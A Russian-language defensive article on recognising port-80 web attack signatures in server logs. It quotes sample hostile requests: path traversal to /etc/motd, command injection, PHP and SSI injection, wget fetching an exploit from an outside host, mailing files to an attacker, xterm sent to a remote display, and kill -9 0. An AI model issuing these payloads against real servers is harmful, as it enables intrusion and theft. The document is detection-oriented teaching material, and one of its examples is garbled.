Следы атак по 80 порту: исследование сигнатур атак

Следы атак по 80 порту: исследование сигнатур атак

Изучите основные сигнатуры атак через порт 80, а также методы их обнаружения и защиты веб-сайтов. Узнайте, как защитить свой сервер от распространённых угроз.

Порт 80 является стандартным для веб-сайтов и может содержать множество различных уязвимостей безопасности. Эти проблемы могут позволить злоумышленнику получить административный доступ к сайту или даже к самому веб-серверу. В этой статье мы рассмотрим некоторые сигнатуры, характерные для таких атак, а также расскажем, на что обращать внимание в логах.

Основные сигнатуры

В данном разделе вы найдете стандартные признаки взлома веб-серверов и веб-приложений. Это не полный список всех возможных атак, но он поможет вам узнать, как они обычно выглядят. Эти сигнатуры охватывают большинство известных и неизвестных уязвимостей, которые могут использовать злоумышленники. Мы также объясним, для чего используется каждая сигнатура и как она может быть применена при атаке.

Запросы "." ".." и "..."

Эти сигнатуры часто встречаются как в веб-приложениях, так и в веб-серверах. Они применяются злоумышленниками для смены директорий на сервере и получения доступа к закрытым разделам. Большинство уязвимостей CGI связано с запросами "..".

Пример:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Данная команда показывает злоумышленнику "Message of the Day". Если злоумышленник может просматривать на вашем сервере директории вне веб-корневой, он может собрать достаточно информации для получения нужных привилегий.

Запросы "%20"

Это шестнадцатеричное значение символа пробела. Наличие такого запроса не всегда свидетельствует об атаке, так как некоторые веб-приложения используют его при правомерных запросах. Однако этот запрос также может использоваться для запуска команд. Так что будьте внимательны при проверке логов.

Пример:
http://host/cgi-bin/lame.cgi?page=ls%20-al| (стандартная для UNIX-систем команда ls -al)

В этом примере показывается, как злоумышленник запускает команду ls под UNIX с передачей ей аргумента. Этот аргумент дает ему полный листинг директории, что может помочь получить доступ к важным файлам в вашей системе или подсказать, как получить дополнительные привилегии.

Запросы "%00"

Это шестнадцатеричный код нулевого байта. Может использоваться для обмана веб-приложения, будто запрошен другой файл.

Пример:
http://host/cgi-bin/lame.cgi?page=index.html

Показанный запрос может быть разрешенным на сервере. Если злоумышленник обнаружит это, он наверняка использует его для поиска уязвимостей.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Веб-приложение может отклонить этот запрос, если проверяет, чтобы имена файлов заканчивались на .htm, .html, .shtml, или другие разрешенные расширения. Многие приложения распознают запрошенный тип файла как недопустимый и могут сообщить злоумышленнику, что файл должен иметь разрешенное расширение. Таким образом, злоумышленник может получить информацию о структуре системы.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html

При таком запросе приложение может считать, что имя файла соответствует разрешенному типу. Плохая проверка запросов файла часто используется злоумышленниками.

Запросы "|"

Вертикальная черта (pipe) часто используется в UNIX для выполнения нескольких команд одновременно в одном запросе.

Пример:
cat access_log| grep -i ".."

Этот пример показывает, как проводится поиск в логах на наличие запросов "..", которые часто используются злоумышленниками. Веб-приложения могут использовать этот символ, и его наличие не всегда свидетельствует о проблеме. Однако тщательный анализ программного обеспечения поможет избежать ложных срабатываний.

Примеры других вариантов:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

Обычный вызов команды ls.

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

Этот запрос выдает полный листинг директории /etc.

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"

Запускает команду "cat", затем "grep" с аргументом "-i".

Запросы ";"

Точка с запятой в UNIX позволяет выполнять несколько команд в одной строке.

Пример:
id;uname -a (выполняются команды id и uname)

Веб-приложения могут использовать эту сигнатуру, поэтому возможны ложные тревоги. Однако тщательная проверка программного обеспечения поможет минимизировать их количество.

Запросы "<" и ">"

Эти символы следует отслеживать в логах, поскольку они используются для вывода данных в файл.

Пример 1:
echo "your hax0red h0 h0" >> /etc/motd

Этот запрос может быть использован злоумышленником для изменения веб-страницы, например, для дефейса сайта.

Пример 2:
http://host/something.php=&lt;b&gt;Hi%20mom%20I&#39;m%20Bold!&lt;/b&gt;

Пример cross-site скриптинговой атаки (XSS). Хакеры могут использовать этот метод для манипуляции содержимым сайта, заставляя пользователей доверять ложной информации.

Запросы "!"

Символ восклицательного знака часто используется в атаках SSI (Server Side Include). Такая атака может позволить злоумышленнику выполнять команды на сервере с правами пользователя веб-сервера.

Пример:
;

Этот запрос включает файл с другого хоста, создавая иллюзию, что он находится на вашем сервере. Однако для успешной атаки злоумышленнику необходимо, чтобы пользователь посетил ссылку.

Пример:
http://host/something.php=&lt;!--#exec cmd="id"-->

Данный запрос выполняет команду "id" на удаленном сервере, показывая идентификатор пользователя, под которым запущен веб-сервер. Обычно это "nobody" или "www".

Запросы "<?"

Этот символ используется для вставки PHP-кода в удаленные веб-приложения, позволяя злоумышленнику запускать команды на сервере.

Пример:
http://host/something.php=&lt;? passthru("id"); ?>

Этот пример показывает, как незащищенные PHP-приложения могут быть использованы для запуска команд на сервере с правами пользователя веб-сервера.

Также злоумышленники могут кодировать такие запросы в шестнадцатеричном формате, чтобы замаскировать их.

Запросы "\"

Символ обратного слэша (\) используется в Perl для выполнения команд. Он не должен присутствовать в нормальных запросах, поэтому его появление в логах может быть признаком атаки.

Пример:
http://host/something.cgi=id

На плохо написанном Perl-приложении этот запрос выполнит команду "id".

Продвинутые сигнатуры

В данном разделе мы рассмотрим команды, запускаемые злоумышленниками, и запрашиваемые файлы, которые могут указать на уязвимость системы к удаленному выполнению команд. Это не полный список, но он поможет вам понять, какие действия предпринимаются против вашей системы.

"/bin/ls"

Команда "ls" часто запрашивается злоумышленниками с полным путем в случае уязвимостей веб-приложений. Если вы видите этот запрос в логах, это может свидетельствовать о том, что ваша система уязвима к удаленному выполнению команд.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"

Это Windows shell. Злоумышленник, получивший доступ к cmd.exe, может выполнить практически любую команду на вашем сервере, в зависимости от настроек безопасности.

Пример:
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\

"/bin/id"

Команда "id" часто используется злоумышленниками для определения прав доступа на сервере. Если этот запрос встречается в ваших логах, это может быть признаком удаленного выполнения команд.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;

Команды "wget и tftp"

Эти команды часто используются злоумышленниками для загрузки дополнительных файлов на сервер, которые могут быть использованы для получения дополнительных привилегий. "wget" — это команда в UNIX для скачивания файлов, а "tftp" — протокол передачи файлов, используемый как в UNIX, так и в Windows.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

Команда "cat"

Команда "cat" используется для просмотра содержимого файлов. Злоумышленники могут применять ее для чтения конфигурационных файлов, файлов паролей и других важных данных.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

Команда "echo"

Эта команда позволяет злоумышленнику добавлять информацию в файлы. Например, злоумышленник может модифицировать файл index.html на вашем сайте.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20&quot;fc-#kiwis%20was%20here&quot;%20...|
http://host/cgi-bin/bad.cgi?doh=echo%20&quot;fc-#kiwis%20was%20here&quot;%20&gt;&gt;%200day.txt;

Команда "ps"

Эта команда показывает список активных процессов. Злоумышленник может использовать ее для выяснения, какие программы запущены на вашем сервере, и какие уязвимости могут быть использованы.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

Команды "kill" и "killall"

Эти команды используются для завершения процессов в UNIX-системах. Злоумышленник может применить их для остановки системных сервисов или для скрытия следов атаки.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

Команда "uname"

Злоумышленники часто используют команду "uname" для определения имени удаленной машины и операционной системы. Запрос "uname -a" обычно встречается в логах как "uname%20-a".

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
http://host/cgi-bin/bad.cgi?doh=uname%20-a;

Команды компиляторов и интерпретаторов (cc, gcc, perl, python)

Злоумышленники могут использовать компиляторы, такие как cc и gcc, для компиляции загруженных эксплойтов на вашем сервере. Perl и Python также могут быть использованы для выполнения вредоносных скриптов.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

Если вы заметите в логах запросы к "perl" или "python", это может указывать на попытку взлома системы.

Команда "mail"

Злоумышленники могут использовать эту команду для отправки файлов на свои электронные почтовые адреса или для рассылки спама.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20&lt;&lt;%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20&lt;&lt;/tmp/wu-2.6.1.c;

Команды X-приложений ("xterm" и другие)

Команды для X-приложений, такие как xterm, могут быть использованы для получения доступа к shell удаленной системы. Если вы видите такие запросы в логах, это может указывать на серьезную угрозу безопасности.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

Команды "chown", "chmod", "chgrp", "chsh" и другие

Эти команды позволяют изменять права доступа в UNIX-системах. Их использование может привести к серьёзным проблемам с безопасностью.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|

Файлы конфигурации и паролей

Злоумышленники могут пытаться получить доступ к важным системным файлам, таким как /etc/passwd, /etc/shadow и другим. Эти файлы могут содержать информацию о пользователях и системных паролях.

Файл "/etc/passwd"

Этот файл содержит информацию о пользователях системы. Обычно он не содержит зашифрованных паролей, если используется файл "/etc/shadow". Однако файл "/etc/passwd" может дать злоумышленнику имена пользователей, системные пути и другую информацию, полезную для дальнейших атак.

Файл "/etc/shadow"

Этот файл содержит зашифрованные пароли пользователей UNIX. Доступ к нему обычно имеет только root, но если веб-сервер работает с правами root, злоумышленник может попытаться прочитать этот файл, что может привести к серьезным проблемам с безопасностью.

Файл "/etc/hosts"

Этот файл содержит информацию об IP-адресах и сетевых настройках системы. Злоумышленники могут использовать этот файл для сбора дополнительных данных о конфигурации вашей сети, что может помочь им в последующих атаках.

Файл "/usr/local/apache/conf/httpd.conf"

Этот файл является конфигурационным файлом веб-сервера Apache. Он может содержать информацию о настройках виртуальных хостов, доступе к CGI-скриптам, конфигурациях SSL и других важных параметрах, которые могут быть использованы злоумышленниками для атак на сервер.

Файл "/etc/inetd.conf"

Этот файл конфигурации содержит информацию о системных демонах, запущенных на сервере. Если этот файл доступен злоумышленнику, он может использовать информацию о демонах для атак. Кроме того, злоумышленник может проверить файлы "/etc/hosts.allow" и "/etc/hosts.deny" для поиска возможностей изменения конфигураций доступа.

Файлы ".htpasswd", ".htaccess" и ".htgroup"

Эти файлы отвечают за аутентификацию пользователей на веб-сервере. Файл ".htpasswd" содержит зашифрованные пароли пользователей, и злоумышленник может попытаться взломать их, используя программы для подбора паролей. Получив доступ к этим файлам, злоумышленник может получить доступ к защищенным разделам вашего веб-сайта.

Файлы "access_log" и "error_log"

Это лог-файлы веб-сервера Apache. Злоумышленники могут использовать их для анализа запросов, чтобы скрыть свои следы или понять, какие действия были зафиксированы сервером. Хакеры часто редактируют или удаляют эти логи, чтобы скрыть следы своего присутствия.

Файлы "[диск]:\winnt\repair\sam._ или [диск]:winnt\repair\sam"

Эти файлы содержат зашифрованные пароли Windows NT. Хакеры могут запрашивать эти файлы, если у них есть доступ к системе, чтобы взломать пароли, используя такие инструменты, как "l0phtcrack". Если злоумышленник взломает пароль администратора, он сможет полностью контролировать систему.

Переполнения буфера

В данном разделе не будем углубляться в описание переполнений буфера, однако рассмотрим несколько примеров того, как такие атаки выглядят на практике. Переполнения буфера могут скрываться с использованием различных методов кодирования.

Простой пример:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

В этом примере злоумышленник отправляет множество символов "A" для проверки приложения на переполнение буфера. Переполнения могут позволить злоумышленнику выполнять удаленные команды. Если приложение запущено с правами root, это может предоставить злоумышленнику полный доступ к системе.

Существуют различные виды переполнений буфера, и мы не будем детально их рассматривать в этой статье. Однако стоит регулярно проверять логи, особенно если вы видите необычно длинные запросы, что может свидетельствовать о попытке вызвать переполнение буфера или об атаке нового интернет-червя.

Шестнадцатеричное кодирование

Злоумышленники часто используют шестнадцатеричное кодирование для обхода систем обнаружения вторжений (IDS). Кодируя свои запросы в шестнадцатеричном формате, они могут обойти фильтры и замаскировать свои действия. Один из известных примеров — CGI-сканер Whisker, который использует этот метод.

Если вы видите в логах большое количество шестнадцатеричных или других необычных символов, это может быть признаком того, что злоумышленник пытается взломать вашу систему. Для расшифровки шестнадцатеричных символов можно использовать ASCII-коды или вставить запрос в адресную строку браузера, чтобы увидеть, как он будет обработан.

Заключение

Эта статья не охватывает все возможные эксплойты, связанные с портом 80, но она описывает наиболее распространенные типы атак и объясняет, как искать их следы в логах. Мы также надеемся, что данная информация поможет веб-разработчикам улучшить безопасность своих приложений и защитить их от атак.

Наш канал горячее, чем поверхность Солнца!

5778 К? Пф! У нас градус знаний зашкаливает!

Подпишитесь и воспламените свой разум